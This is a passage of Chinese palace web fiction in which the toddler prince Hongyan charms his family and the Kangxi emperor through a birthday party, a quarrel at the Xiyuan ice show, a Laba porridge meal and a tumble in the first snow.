胤禛俯身将弘晏抱坐在膝头,转而对着弘晏说道:“福宝,问那喇大人与夫人好。” 弘晏瞧着面前的两人,奶呼呼唤道:“那喇大人,夫人,安。” 那喇大人道:“六阿哥有礼了。” 那喇夫人则笑着道:“六阿哥瞧着比前些日子又高了些。” 寒暄过后,胤禛便要带着弘晏回府,那喇夫妇热情的要留胤禛父子留下用午膳。 胤禛还要婉拒,便听怀里的弘晏喊道:“阿玛,吃饭,饿了。” 怀恪郡主与那喇星德夫妻和好,他可是出了不少力,不吃饭怎么能行。 那喇大人赶忙道:“王爷,就吃个便饭吧。” 那喇夫人也跟着道:“是啊,王爷,府里新招了个厨子,王爷不妨帮着品鉴品鉴。” 胤禛见状,只得留下。 不多时,待午膳上桌,那喇夫人正准备派人去喊怀恪郡主过来,就被弘晏给拦住:“不要打扰他们。” 那喇夫人立刻就明白了:“好好,咱们吃。”转而又吩咐下人给怀恪郡主与星德送些午膳。 吃饱喝足,胤禛便带着弘晏打道回府。 回正院的甬道上,胤禛被李侧福晋挡住去路:“爷,茉雅奇她可好?” 胤禛闻言,低头看向怀里熟睡的弘晏,见弘晏微微皱眉,便压低声音道:“茉雅奇毫发无损,星德受了伤,太医说只要好好养着便是。” 李侧福晋连连点头:“妾身这就让人准备些补品送去那喇府。” 胤禛应了一声,继续迈着步子往正院去。 这厢,乌拉那拉氏得了信儿,便赶忙从屋子里出来,见弘晏在胤禛怀里睡得香甜,便小心翼翼的将弘晏抱进自己怀里,转而将弘晏放回到内室的拔步床上去。 安置好弘晏,乌拉那拉氏从内室里出来,坐到檀木小榻上问起怀恪郡主与星德的事儿来。 胤禛一一说了。 末了,胤禛看了一眼紧闭着的隔扇门,又道:“福宝在那喇府大吃大喝的,在车厢里就睡着了,福晋看着些,莫要再叫小家伙尿了床。” 乌拉那拉氏笑着应声。【你现在阅读的是 】 60-70 第61章 第61章见好就收 翌日早朝,康熙下了圣旨。 重修红螺寺大殿之事交给雍亲王胤禛督办,而当日因大殿坍塌而造成的死伤人员,则由顺天府来发放朝廷的抚恤银并加以安抚。 早朝一散,胤禛就去了工部。 此后,胤禛便忙碌起来。 而在督办的过程中,胤禛更是发现红螺寺大殿坍塌乃是因为几年前,康熙命工部修缮皇家各寺院之时,负责修缮红螺寺的左侍郎彭盛为了贪墨公款,从而偷工减料,用了劣质的砖瓦木料,是以历经几年的风吹雨打后,大殿屋顶不堪重负而坍塌,才酿成了今日的祸事。 胤禛的折子呈上去,康熙立马下旨,命刑部、大理寺与都察院三司共审,同时并任命十三阿哥胤祥对其他皇家寺院的修缮情况进行查访。 胤禛忙着办差,夜晚便直接宿在了前院书房,弘晏便也见不到便宜阿玛的人影了。 日子一晃,便进了冬月。 乌拉那拉氏早早命人给弘晏做的冬装正好上身,红色的袄子再带着白狐狸毛的滚边,更衬得弘晏皮肤雪白,像那年画上的福娃娃。 天冷了,外面的风呼啸嘶吼,像利刃似的刮的脸生疼,弘晏便也不往外面跑了,乖乖的窝在温暖如春天的屋子里。 只是可惜他的两只蝈蝈绿牙与褐风没有熬过寒冬。 乌拉那拉氏一开始知晓这件事时,还怕弘晏会伤心的哭个不停,谁知弘晏只静静地看了看绿牙和褐风的尸/体,便让王乳娘带上铲子,将绿牙和褐风的尸/体埋在了院子里的土壤中。 乌拉那拉氏瞧着格外冷静的弘晏,生怕这孩子是被吓着了 ,便将弘晏搂在怀里安抚着,一会儿说来年和弘晏一起捉几只更好的,一会儿说给弘晏做他爱吃的羊肉萝卜汤。 弘晏只是由绿牙和褐风,联想到了自身。 就算从前身为资质极佳的玉兔精,可潇洒自由百年后,摆在面前的也无非两条路。 一条便是飞升成神,长生不老。 另一条,便是飞升失败,身归混沌。 而他却走了第三条路。 成为了人。 人的寿命更无法与神与精相比,不过短短几十载春秋。 作为人类,他虽然只生活了几百天,可在他看来却远远胜过以往的百年光阴。 “福宝,福宝,跟额娘说说话啊。”乌拉那拉氏焦急的声音将弘晏从回忆拉回了现实。 弘晏一抬眼,便见乌拉那拉氏双手捧着自己的小脸,俊眉颦起,那目光里更是盛满担忧。 “额凉~” 弘晏奶呼呼的开了口。 乌拉那拉氏俊眉舒展,松了口气,将弘晏抱进怀里:“福宝,你可吓/死额娘了。” 随即,乌拉那拉氏又将弘晏从怀里拉出来,贴了贴弘晏的小脸蛋儿。 弘晏解释道:“额凉,窝在想事情。” 乌拉那拉氏忍俊不禁,点了点弘晏的鼻尖:“你一个小娃娃,能想什么事情,竟这般入神。” 弘晏忽闪着大眼睛:“嘿嘿,当然是想送给五锅锅的生辰礼啊。” 当然是想,自己可是一个幸福的人类幼崽啊! 乌拉那拉氏信了这个说辞,只是有些意外:“你怎么知道弘昼的生辰要到了?” 何止这个,他知道的可多了呢! 弘晏没找到借口,只好转移话题:“额凉,窝送锅锅什莫好?” 好在乌拉那拉氏没再追问,只答道:“送礼当然是投其所好,不过,无论你送什么都是心意,弘昼会喜欢的。” 弘晏觉得有道理。 投其所好? 弘昼喜欢什么呢? 弘晏歪着小脑袋开始想。 —— 冬日天黑的早,很快晚膳就上了桌。 乌拉那拉氏与弘晏正准备用膳,便见一个高大的人影迈步而入,烛火照耀之下,地上显现出一个黑漆漆的影子。 “福宝。”胤禛唤了一声。 弘晏肉眼可见的兴奋:“阿玛。” 他好像很久没有见到胤禛了呢。 胤禛径直走过去,俯身将弘晏抱到了怀里,接着亲了亲弘晏的小脸蛋儿。 小家伙又重了些。 弘晏扭着小脸儿,躲避着胤禛的亲吻:“阿玛的胡子扎扎。” 胤禛不止脸上冒出的胡茬扎人,而且皮肤还粗糙了好多,触感一点儿都不舒服。 胤禛越是见弘晏躲避他,越是往弘晏光滑的小脸蛋儿上凑。 弘晏边躲边喊道:“啊,额凉,救救窝。” 乌拉那拉氏笑着上去解围,将弘晏抱到自己怀里:“爷快洗手吃饭吧。” 胤禛应了一声。 他确实有些饿了。 工部左侍郎彭盛已然被抄家、凡其家眷与彭盛一同流放宁古塔,重修红螺寺的工程进展顺利,年底前定可竣工。 他这些日子也没算白忙碌。 至于胤祥那边,查访的结果便是除了红螺寺之外,其余皇家寺院并无不妥之处。 冬日里,一道羊肉萝卜汤下肚,着实暖胃驱寒。 这厢,弘晏也喝完了碗里的羊肉萝卜汤,对着乌拉那拉氏说道:“额凉,要汤汤。” “好。”乌拉那拉氏说着,又给弘晏续了一勺汤。 胤禛见状,开口问道:“福宝,这些日子可有尿床?” 弘晏闻言,笑脸立马垮下来,随即撅起小嘴,冲着胤禛哼了哼。 便宜阿玛会不会聊天?! 非要在他开开心心喝汤的时候说这个嘛! 胤禛见状,便知他不在的这些日子里,弘晏定然是尿了床的,随即呵呵笑起来。 谁让小家伙嫌弃他的胡茬呢。 弘晏气呼呼的瞪了胤禛一眼,紧接着又对着乌拉那拉氏撒起娇来:“额凉~” 乌拉那拉氏嗔了胤禛一眼。 胤禛见好就收,没再揭小家伙的短儿。 一顿热闹的晚膳用完,趁着乌拉那拉氏带着弘晏去沐浴的时候,胤禛则吩咐苏培盛拿来了刮胡子的工具。 是以,当弘晏被乌拉那拉氏抱回来的时候,见到的便是一个清清爽爽的胤禛。 弘晏立马就明白了,胤禛还是在意自己对他的看法的。 所以,弘晏便扑腾着要胤禛抱:“阿玛,阿玛。” 果不其然,胤禛见弘晏又对自己这般亲热,翘了翘嘴角,转而将肉乎乎的弘晏抱进了怀里。 胤禛用脸蹭了蹭弘晏的小脸蛋儿,记仇道:“这回,不嫌弃阿玛了?” 弘晏忽闪着大眼睛,装傻充愣道:“阿玛,稀罕阿玛。”说罢,弘晏便窝进胤禛怀里了。 一家三口久违的躺在一张拔步床上安寝,待天亮,胤禛依依不舍的捏了捏熟睡中的弘晏的小脸蛋儿,方才出门离去。 —— 很快,到了弘昼满三岁的生辰日。 乌拉那拉氏一早便吩咐了膳房做家宴,黄昏时分,胤禛也回了雍亲王府,众人齐聚在前院的正厅内。 弘昼作为小寿星,最期待的自然就是收礼环节了。 作为王府的当家人,送礼自然由胤禛开始。 胤禛准备的礼物是一块精致的小玉牌,弘昼笑呵呵的收下,接着便是乌拉那拉氏等人了。 等长辈们送完礼物,接下来,便是小辈们了。 弘时谨记长兄的身份,为鼓励幼弟们勤勉,送给弘昼的生辰礼物,同样是几个月前曾送给过弘历的董其昌的字帖。 弘昼看见字帖的那一刻,笑容垮了下来。 耿格格见状,连忙出来打圆场,替弘昼谢过弘时的好意。 送礼环节继续,弘历准备的礼物则是一个猴子木偶。 只要扳动控制木偶的机关,猴子木偶便会挥舞起手中的棒子。 弘历演示一番后,弘昼的眼睛刷的亮起来,迫不及待的试上一试:“嘿嘿,真好玩,谢谢四哥。” 弘历温和的笑着:“你喜欢就好。” 弘昼在他眼里,便像极了一只灵巧活泼的小猴子。 最后,众人的视线来到弘晏这里。 弘晏努努嘴,示意王乳娘将礼物呈上来。 弘昼好奇的打开檀木盒子,映入眼帘的竟然是一只小巧精致的金蝈蝈笼子。 弘昼的眼睛都直了。 耿格格见状,有些惶恐,出声道:“六阿哥这礼,实在太贵重了。” 弘晏奶呼呼的开口道:“姨凉,不贵,锅锅喜欢。” 弘晏知晓弘昼养的那些蝈蝈结局大多也都和他养的绿牙与褐风一样都死翘翘了,但是却有一只名叫大黑的蝈蝈坚强的活了下来,而弘昼对这只蝈蝈也更为上心,所以弘晏才有了主意,给大黑建一个豪华的房子。 弘昼跑过去抱住弘晏,喜滋滋的喊道:“弟弟,我很喜欢,也替大黑谢谢你。” 弘晏只嘿嘿笑着。 乌拉那拉氏见耿格格还有些犹豫,出声道:“福宝的一份儿心意,好好收着吧。” 耿格格闻言,恭敬的点了点头。 半个时辰后,家宴结束后,众人各自散去。 李侧福晋加快了脚下的步子,撵上了前面的钮祜禄格格母子。 紧接着,李侧福晋悠悠开了口:“六阿哥小小年纪便出手阔绰,怪不得弘昼老往正院去呢,这同样是过三岁的生辰,弘历收的礼可远比不上弘昼的。” 弘历蹙起小眉头,扬着小脸儿说道:“李姨娘,我很喜欢六弟送的印章,你为何说我的印章不好?难道只有贵的才是好吗?” 弘晏送给他的印章,是他人生中收到的第一份儿印章,于他而言,便是独一无二的宝贝。 李侧福晋也不恼,只觉得弘历这孩子实在是傻:“你这孩子,姨娘说的是实话,一个金蝈蝈笼子能换多少印章,你知道吗?” 钮祜禄格格哪里不明白李侧福晋的话中之意,只道:“侧福晋,诚如福晋所言,孩子们之间互相送生辰礼,本就是一份儿心意,何必一较长短,焉能用银子来衡量?若真要周全,叫人挑不出理来,还得跟三阿哥这位兄长学,人人一本字帖,岂不是省心又省事?” 李侧福晋被怼的哑口无言,从鼻腔里发出哼的声音来,随即甩着帕子愤愤离去了。 弘历见状,开口问道:“额娘,是不是李额娘自己羡慕?” 钮祜禄格格闻言,笑着开口道:“是与不是并不重要,重要的是,你知晓六阿哥对你的心意便好。” 弘历点了点头,又道:“等六弟生辰,我也要送他一份儿独一无二的生辰礼。” 钮祜禄格格笑着应声。 而弘昼回去了邀月轩,便将大黑安置在了金蝈蝈笼子里,嘴里还念念有词:“大黑,这是你的新家,喜欢吗?是我六弟特意准备的,明日我带你去见他。” 大黑边打量着自己的新家,边叫了两声来回应弘昼。 这厢,耿格格进屋,见着弘昼还守着这金蝈蝈笼子,无奈摇了摇头,转而走过去提醒道:“弘昼,时候不早了,该去沐浴了。” 被催促的弘昼,耐心的解释道:“额娘,我在和大黑说话呢。” 耿格格:“……” 第62章 第62章西苑风波 天儿愈发的冷,日子转而来到了腊月初八——腊八节。 胤禛与乌拉那拉氏用完早膳,稍坐休整之后,便带着弘晏乘着马车入宫去。 弘晏知晓天冷儿,没再掀开马车帘子,而是乖乖的窝在乌拉那拉氏怀里。 不久,马车便在皇宫门外停下。 寒风凛冽,就连皇宫的长街上也平添了一丝寂寥。 弘晏整个人被包裹的严严实实的,只余一双大眼睛望着周围的景色。 这还是他第一次在宫里过腊八节呢。 胤禛左手抱着弘晏,右手牵着乌拉那拉氏的柔夷,一家三口走过长街,很快便到了永和宫。 迈步走进去,弘晏才瞧见十四阿哥胤禵一家子已然在正殿内了。 弘明与弘暟兄弟俩许久没见弘晏了,如今瞧见了,便亲亲热热的围上来,一口一个“福宝弟弟”的喊着。 弘晏自然也热情的回应了。 “福宝弟弟,吃这个。”弘暟边说着,边将一颗冬枣喂给弘晏。 这冬枣他已然尝过了,又脆又甜,福宝弟弟一定会喜欢吃的。 弘晏被弘暟投喂,自然是高兴的长大了嘴巴。 可就在冬枣即将落入弘晏的嘴巴时,弘明伸出手拦住了弘暟拿着冬枣的小手。 弘晏眨巴了一下眼睛:历史总是惊人的相似。 弘暟有些不高兴,扭过脸望着比他高了一头的弘明,解释道:“冬枣是去过核的。” 弘明悠悠道:“还未问过四伯母,这冬枣福宝弟弟是否吃得?” 又来? 弘暟颦了颦眉:“上次不是已经问过了,福宝弟弟只有核桃过敏,吃不得嘛,还有什么好问的?” 弘明耐着性子解释道:“这是礼数,再说了,福宝弟弟未必咬的动这冬枣?” 弘暟不耐烦的仰着脸,望着死/板的弘明:“福宝弟弟又不是没有牙,他还没吃,你怎么就知道咬不动?” 弘晏眼瞧着弘明与弘暟兄弟俩因为投喂他吃冬枣而争持起来,便当起和事佬来:“锅锅,锅锅,不吵。” 可惜,弘晏弱小的声音早已淹没在弘明与弘暟兄弟们的争论中。 争论的声音大了,便动静了一旁说话的德妃等人。 胤禵见着是自家的两个孩子生事,立马皱眉喝道:“吵什么,扰了你们玛嬷的清静,是想讨打?” 不等完颜氏开口,上首的德妃笑呵呵道:“我这永和宫就是太清静了,巴不得有几个孩子在,能热闹些呢。” 紧接着,德妃又笑眯眯的望着弘明与弘暟兄弟俩,招手道:“弘明,弘暟,来玛嬷这儿来。” 同时,弘晏也被抱回了乌拉那拉氏怀里。 德妃一左一右的搂着弘明与弘暟,满是慈祥的问道:“跟玛嬷说说,是发生了何事?” 弘暟抢在弘明之前,满是委屈的将事情一五一十说了。 紧接着,弘明又输出了自己的观点。 一旁吃瓜的胤禛与乌拉那拉氏,万万没有想到胤禵的两个孩子争论,竟然是由自家的弘晏引起的。 小小的弘晏表示:他很无辜的好吧。 德妃听完弘明与弘暟的话,眼睛扫过胤禛与乌拉那拉氏,在弘晏身上停留一瞬之后,转而又将眼神收了回去。 随后,德妃笑呵呵的看了看弘明,又瞧了瞧弘暟,开口道:“让玛嬷来评理的话,你们两个都是好孩子,都没错。” 德妃说完,又拉起弘暟的小手,叮嘱道:“弘暟,以后别再喂弘晏吃东西了,弘晏可是你四伯与四伯母的命根子,金贵着呢。” 德妃此话一出,胤禛与乌拉那拉氏的脸色都不大好看。 连弘晏也气呼呼的看着德妃。 暂且不提方才德妃看他的眼神并不友好。 就说便宜阿玛与胤禵的关系不好,德妃作为生母无动于衷也就罢了,如今竟还挑拨起他们这些小辈的关系。 年纪大些的弘明面露不解,玛嬷这话听上去总觉得怪怪地。 年纪尚小的弘暟自然也听不出德妃的言外之意,只道:“玛嬷,你说的在理。” 德妃一听这话,脸上露出了“孺子可教也”的神情。 却不想,弘暟一本正经的接着往下说:“我们都是皇孙,自然金贵,福宝弟弟是四伯与四伯母的命根子,我和哥哥同样也是阿玛和额娘的命根子。” 德妃嘴角的笑意凝固了。 弘晏却忍不住弯了弯唇角。 这厢,弘暟的话音刚落下,胤禵立马肯定道:“弘暟说的不错,你玛嬷正是这个意思。” 他心里明白额娘还是因为弘晏上次在永和宫误食核桃,而被汗阿玛责怪的事情耿耿于怀。 且不说事情已然过去那么久,就算额娘心里还有气,可一码归一码,额娘也不该将小辈儿的孩子们牵扯进来。 胤禵都这么说了,德妃只能笑笑罢了。 弘晏此时有些看不清楚胤禵了。 而胤禛望向胤禵的视线里,却多了一分意外。 胤禵能察觉到胤禛在盯着他看,可他并不打算回看胤禛。 他只是说了自己想说的话而已,并不代表着他想与胤禛修复早已冷淡的兄弟之情。 小插曲过去,永和宫的气氛又重新活络起来。 众人用些茶点之后,便动身去西苑观赏冰嬉表演。 西苑的冰场广阔,三面都搭了专供观赏的暖棚,视野最开阔的当属中央的黄顶暖棚,那自然是康熙及后宫妃嫔的所在。 而黄顶暖棚的两侧暖棚,自然是皇子宗亲以及文武重臣的所在。 小小的弘晏自然跟随着乌拉那拉氏,坐到了皇子福晋们的一桌。 弘晏礼貌的喊过伯母婶婶之后,便被五福晋投喂了孙泥额芬白糕。 弘晏两只手捏着孙泥额芬白糕,糯糯的对着五福晋唤道:“谢谢婶婶。” 五福晋笑吟吟的摸了摸弘晏的小脸蛋儿,夸道:“真乖。” 她自己没有孩子,也只能稀罕稀罕别家的孩子了。 弘晏嘴里正咀嚼着糕点,便听着梁九功高呼:“皇上驾到。” 下一瞬,众人纷纷下跪请安。 弘晏悄咪咪的抬起小脑袋,便见一道明黄色带着滚边黑狐毛的龙袍背影从眼前过去了。 而敏锐的康熙察觉到了什么,脸一侧,正好瞧见了正盯着他看的弘晏。 偷看的弘晏为了掩饰尴尬,冲着康熙甜甜一笑。 康熙见状,弯了弯唇角。 只是,康熙瞧见弘晏手里还捧着吃了一半的糕点时,心里又纳闷起来。 这孩子总是在吃东西。 莫非胤禛真的连幼子也管教严苛? 康熙收回思绪,转而落坐在檀木龙纹宝座上,抬手示意众人起身。 冰嬉表演正式开始,八旗冰鞋营的八旗士兵们身着八旗棉甲,手持旗帜,脚踩冰鞋鱼贯而入,弘晏的注意力立马被吸引住了。 冰嬉表演精彩绝伦,弘晏吃完糕点,还不忘拍着小手鼓掌。 今年的冰嬉表演较去年有了不少新意,可见底下人是用了心的,康熙看的开怀,直接赏了下去。 少顷,康熙看向梁九功,又望了一眼弘晏。 梁九功心领神会,立马过去将弘晏抱进了康熙怀里。 弘晏仰着小脸儿糯糯的喊道:“皇玛法。” 跟奶娃娃说话,康熙的语气不自觉的就温柔起来:“福宝,为什么偷看皇玛法?” 弘晏一愣。 随后,弘晏忽闪着大眼睛,脑袋往康熙怀里靠:“想皇玛法~” 康熙自然受用,笑眯眯的摸了摸弘晏的小脸蛋儿,随即又拿起暖手炉,往弘晏面前一送。 弘晏瞧着面前小巧精致雕刻着龙纹的手炉,便伸出了手。 可手指刚触碰到暖手炉一秒,弘晏的手就猛的缩了回去:“烫烫。” 这暖手炉的温度对于成人来说刚刚好,可对于幼儿来说便温度过高了。 康熙见状,笑着将手炉放下,转而俯身给弘晏吹吹小手指头。 弘晏这下子可明白便宜阿玛的恶趣味从哪里来了,原是随了根的。 弘晏抽出自己的小手,气鼓鼓的望着康熙。 康熙忙将御桌上剥好的橘子瓣拿起来,要喂给弘晏吃。 弘晏大口的吃了,嚷着还要。 康熙便殷勤的又拿了一个橘子瓣儿,准备喂给弘晏。 可弘晏伸手将橘子瓣拿过,而后学着弘明的样子,将橘子瓣上的白色橘络揪掉,笑嘿嘿的喂给康熙。 康熙见着弘晏这般,便低下头来,方便弘晏喂自己。 可弘晏以迅雷不及掩耳之势,手腕一转,将橘子瓣喂了自己嘴里。 弘晏边咀嚼着橘子瓣,边得意的望着康熙。 康熙这便明白了。 弘晏是一点儿亏都不吃,也戏弄了自己一回。 康熙笑哈哈的伸手戳了戳弘晏的脸颊,满是慈爱道:“小机灵鬼。” 这番温馨的场面,落在了八福晋眼里,便有些吃味儿了。 随即,八福晋抬眼看向了正与五福晋说笑的乌拉那拉氏,笑道:“四嫂可真是好福气,没了弘晖,又生了一个讨人喜欢的弘晏,瞧把汗阿玛逗得合不拢嘴呢。” 八福晋的话音落下,坐满皇子福晋的这桌瞬间安静下来,众人的目光不是看向乌拉那拉氏,就是瞧向八福晋郭络罗氏。 乌拉那拉氏迎着八福晋挑衅的目光,冷冷开口:“羡慕我,便自己生一个去,可惜你没福气,生不出来。” 往心口上戳刀子,谁不会啊! 八福晋脸色骤变,喝道:“乌拉那拉氏,你竟敢诅咒我。” 乌拉那拉氏淡然道:“事实如此,何须诅咒。” 八福晋“蹭”的站起身,气得发抖:“你……你个毒妇……” 不待八福晋说完,身旁坐着的七福晋与九福晋纷纷起身,好言相劝起来。 望着气急败坏的八福晋,乌拉那拉笑了:“我再毒,也不会把妾室的孩子抢过来,自欺欺人的当作自己的孩子。” 乌拉那拉氏这话一出口,八福晋直接就炸了:“乌拉那拉氏,我撕烂你的嘴。” 皇子福晋们纷纷劝和起来。 动静大了,阿哥们那一桌也纷纷站起身过去。 八福晋立马靠进胤禩怀里委屈起来:“爷,乌拉那拉氏她,她出言诅咒,说你我无能生不出孩子。” 一向温润如玉的胤禩,此刻也黑了脸。 孩子,一直是他的一个痛点。 胤禛则不动声色的挡在乌拉那拉氏身前。 就在胤禩准备质问胤禛夫妇的时候,康熙抱着弘晏过来了,众人纷纷跪下请安。 康熙扫了一眼众人,有些不悦:“都起来吧。” 紧接着,康熙挑了三福晋来陈述方才发生了什么事。 三福晋自是不偏不向,一五一十的说了。 胤禩知道是自家福晋挑衅在先,康熙面前便不好维护了,是以望向了九阿哥胤禟。 胤禟接到胤禩的眼神,立马开了口:“四嫂,八嫂提起夭折的弘晖,乃是无心的,你又怎能说话如此刻薄呢?” 十阿哥胤俄见九阿哥出了声,正欲开口附和,就见自家福晋正直勾勾的瞪着自己。 胤俄到嘴边的话只好咽下了。 十四阿哥胤禵虽然与胤禩关系近些,但胤禟言语中又提到了夭折的弘晖,让他不禁联想起自己不久前夭折的儿子。 是以,胤禵保持了沉默。 十三阿哥胤祥望向胤禟,讽道:“九哥,汗阿玛自有圣断,你就不必充当‘包青天’了。” 胤禟“啧”了一声,正准备怼回去,就听见一道软软糯糯的声音响起:“皇玛法,怕怕。” 康熙闻言,轻轻抚摸着弘晏的后背:“福宝不怕,有皇玛法在。” 弘晏可怜巴巴的点了点小脑袋。 忽而,弘晏发觉了一双凌厉的眼睛正瞪着自己。 正好,送上门来了。 弘晏掩下思绪,随即瘪着小嘴说道:“呜呜,皇玛法,婶婶瞪我,凶凶。” 弘晏说着,伸出小肉手指头,向了人群中的八福晋。 八福晋自然换了副无辜的面孔:“汗阿玛,儿媳冤枉啊。”说着,八福晋又看向了乌拉那拉氏:“四嫂,你怎能教你儿子,凭空污人清白。” 康熙怕吓到弘晏,压低声音斥道:“福宝这么小,话都说不完整,能冤枉你什么?” 八福晋还想解释,就听康熙对着梁九功吩咐道:“将八福晋遣送回八贝勒府。” 胤禩一听,立马开始为郭络罗氏求情。 腊八节王公大臣齐聚西苑,若只他的福晋灰溜溜的回去,他这个八贝勒还有何脸面立于人前。 “汗阿玛……” 不待胤禩说完,就被康熙无情的打断:“老八,你若不放心,大可随你福晋一同回去。” 他还没有老眼昏花,郭络罗氏左不过是眼热他宠爱弘晏罢了。 至于胤禩,面上贤德,背地里为了太子之位,拉拢朝臣,不知做了多少勾当,真当他是瞎子聋子不成。 今日正好借着此事,灭一灭胤禩的心气儿。 康熙掩下思绪,转而对着怀里的弘晏说道:“福宝,皇玛法带你去吃腊八粥。” 弘晏奶呼呼的应道:“好。” 随后,康熙带着弘晏离开冰场,其他人自然跟随圣驾而去。 郭络罗氏此时才知她干了愚蠢之事,“爷,我……” 不待郭络罗氏说完,胤禩朝着魏珠拱手道:“有劳魏公公将我福晋安全送回八贝勒府。” 魏珠颔首回礼:“这是自然。” 胤禩看了看眼尾渐红的郭络罗氏,终究还是抬起步子,追随圣驾去了。 第63章 第63章四脚朝地 殿内,众人都开始用腊八粥,可专心吃的却没有几个。 只因上首的龙椅上,康熙正笑眯眯的喂着坐在腿上的弘晏吃腊八粥。 康熙边看着弘晏进食,边笑呵呵的问道:“福宝,宫里的腊八粥好吃吗?” 弘晏咀嚼完这一口腊八粥,扬脸对着康熙说道:“好吃。” 他觉得比雍亲王府的腊八粥还要香甜几分。 “那就再吃点儿。”康熙说着,又给弘晏喂了一勺。 弘晏满是幸福的吃下去,而后对着康熙糯糯的说道:“皇玛法,窝来喂泥。” 瞧着弘晏自信满满的模样,康熙一口答应。 随后,康熙一只手托住碗底,另一只手拿着帕子擦了擦弘晏嘴角的粥渍。 弘晏有模有样的拿起勺子舀了点儿腊八粥,要喂给康熙。 康熙是被人伺候惯了的,如今瞧着眼前的小奶团子这般有孝心,只嘿嘿笑着,坐等着腊八粥喂到嘴里。 却不想,弘晏身上穿的袄子厚实,本来就给他绵软的小胳膊增加了负担,如今再高高的举起勺子去给康熙喂腊八粥,可是比弘晏想象中的难了些。 是以,弘晏的脸上的神情变得严肃了。 眼瞧着勺子快要触碰到 康熙的嘴唇,弘晏手腕微微一抬,本想直接将腊八粥喂进康熙嘴巴里面,却不想用力过猛,勺子倾斜的角度偏了,那腊八粥顺着康熙的下颌滑到了发白的胡须上。 弘晏:?! 康熙瞧着弘晏有些吃惊和沮丧,便笑眯眯的安慰道:“无妨,无妨,正好叫朕的龙须尝尝腊八粥是什么味道。” 康熙话说完,梁九功便拿着温热的帕子过来给康熙将胡须擦拭干净。 弘晏瞧出来见康熙面露鼓励,很是期待自己喂他喝腊八粥,便重振旗鼓,拿起勺子再度出发。 这一回,不但是弘晏,就连康熙也吸取了失败的原因,自动配合着俯身去找弘晏举起的勺子,成功的喝上了腊八粥。 弘晏奶呼呼的问道:“嘿嘿,皇玛法,好吃吗?” 康熙望着忽闪星星眼的弘晏,宠溺道:“好吃,福宝喂的腊八粥格外香甜。” 弘晏闻言,骄傲的抬了抬下巴,转而又给康熙喂了一勺腊八粥。 吃腊八粥已然是今日的最后一项活动了。 与弘晏在一起的时光,康熙总觉得过得很快,有些舍不得放弘晏回去,便问道:“福宝,宫里的御膳房还会做很多好吃的,福宝想吃吗?” 弘晏点了点小脑袋。 康熙见状,继续说道:“福宝跟皇玛法回宫去吧,这样就可以吃到御膳房做的好吃的了。” 弘晏听到这里,摇了摇小脑袋。 康熙笑道:“怎么?福宝不愿意跟皇玛法在一块吗?” 弘晏一字一字软软的说道:“要皇玛法,更要额凉。” 康熙闻言,抬手摸了摸弘晏的小脑袋瓜,声音很是温和:“那福宝要常进宫看皇玛法啊。” 弘晏用力点了点头。 最后,弘晏搂着康熙亲了好几下,糊了康熙一脸口水,才跟着胤禛与乌拉那拉氏回雍亲王府去。 车厢里,耗费了不少精力的弘晏已然在乌拉那拉氏怀里睡熟了。 胤禛见状,便吩咐马车走慢些。 乌拉那拉氏低头看着睡颜恬静的弘晏,忽而叹了口气。 胤禛遂开口问:“福晋因何叹气?” 乌拉那拉氏眉宇间已然浮现忧愁:“今日你也瞧见了,福宝深得汗阿玛宠爱,也不知这宠爱是福是祸?” 先前的太子爷最得圣心,是何等的风光无限,可如今的下场又是何等的凄惨。 她从未奢望,也从未想过拿弘晏来为雍亲王府争些什么。 她只希望她的孩子能够健健康康的长大,平安顺遂的过完这一生就足够了。 可她朴实无华的愿望,放在帝王之家却成了难得。 众目睽睽之下,康熙待弘晏与旁人不同,便让郭络罗氏眼热不甘,那看不见的地方,又有多少个郭络罗氏。 胤禛明白乌拉那拉氏的忧虑,瞧了瞧熟睡的弘晏,只答道:“万事都有爷在。” —— 一场大雪在寂静的夜晚悄然而至,待天亮时分,整个京城已然被笼罩在白茫茫的雪地里。 对于胤禛来说,万幸的是红螺寺重修之事赶在这场大雪前已然竣工,他写的折子也递到了康熙面前,受到了康熙的口头嘉奖。 这厢,胤禛禀报完政事正欲跪安,便听上首的康熙说道:“下雪了,朕的库房里有一条上好的白狐皮,你带回去给福宝吧。” 胤禛闻此言,先是一愣,而后行礼谢恩。 胤禛出了乾清宫,瞧着簌簌而落的雪花,转而披上斗篷出宫去。 而此时的雍亲王府正院内,弘晏知晓下雪了开心的不行。 这可是今年的第一场雪呢。 弘晏急着出去玩雪,乌拉那拉氏却是不答应。 弘晏便爬到乌拉那拉氏怀里撒娇磨了好一会儿,乌拉那拉氏才松了口。 弘晏高兴的糊了乌拉那拉氏一脸口水:“嘿嘿,额凉最好了。” 乌拉那拉氏给弘晏包裹的严严实实的,才放弘晏出屋子。 弘晏感觉自己跟个小粽子一样,因为穿得太厚,束缚了手脚,走起路来一晃一晃的。 王乳娘跟着弘晏出了温暖的屋子,便感到寒风吹面,双手便揣进了袖子里。 弘晏一晃一晃的走下石阶,小脚丫踩在雪地里,紧接着发出嘎吱嘎吱的声响。 弘晏停了脚步,转而扭过身,低头瞧见了自己在雪地里留下的小脚印,边伸出手指着地上的小脚印,边笑问道:“乳娘,像不像树叶?” 王乳娘不假思索配合道:“像,像极了。” 弘晏心满意足,转而伸出手掌去接空中的雪花。 待空中悠悠扬扬的雪花稳稳地落进弘晏的手掌,弘晏清晰的感知到了手掌传来的凉意。 而弘晏肉眼瞧着那白色的雪花在他的手掌中逐渐变得透明,直至化成了水滴。 王乳娘见状,拿着帕子擦去了弘晏手中的水滴:“六阿哥,仔细手凉。” 弘晏乖巧的应了一声。 随后,弘晏便听到了由外传来逐渐逼近的脚步声。 弘晏抬眸望去,正是胤禛与苏培盛。 身着黑狐皮斗篷的高大人影漫步在簌簌而落的白雪中,倒是赏心悦目的紧。 “嘿嘿,阿玛~” 弘晏边说着话,边抬起小短腿小跑过去。 可弘晏忘了他自己穿得厚实,两条小短腿迈不开不说,那地上更是积了一夜的雪,底下的一层早已结冰,只最上面薄薄的一层雪是松软的,是以弘晏跑出去没两步就四脚朝地和雪地来了个亲密接触。 胤禛见状,翘起的嘴角立马绷直了,三步并作两步过去先王乳娘一步将弘晏扶了起来。 胤禛整个人半蹲在地上,从袖子里拿出来帕子给弘晏擦脸上的雪,关切道:“福宝,可有摔到哪里?” 胤禛不问还好,老父亲的关怀一出来,弘晏忍不住嗷嗷哭了起来。 丢人,太丢人了!!! 还没有玩雪呢,就让雪给滑倒了。 屋内的乌拉那拉氏听到哭声,赶忙从屋子里出来,瞧见的便是胤禛抱着哭泣的弘晏正朝屋檐下走来。 待胤禛抱着弘晏迈上石阶,乌拉那拉氏忙迎上去问道:“爷,福宝这是怎么了?” 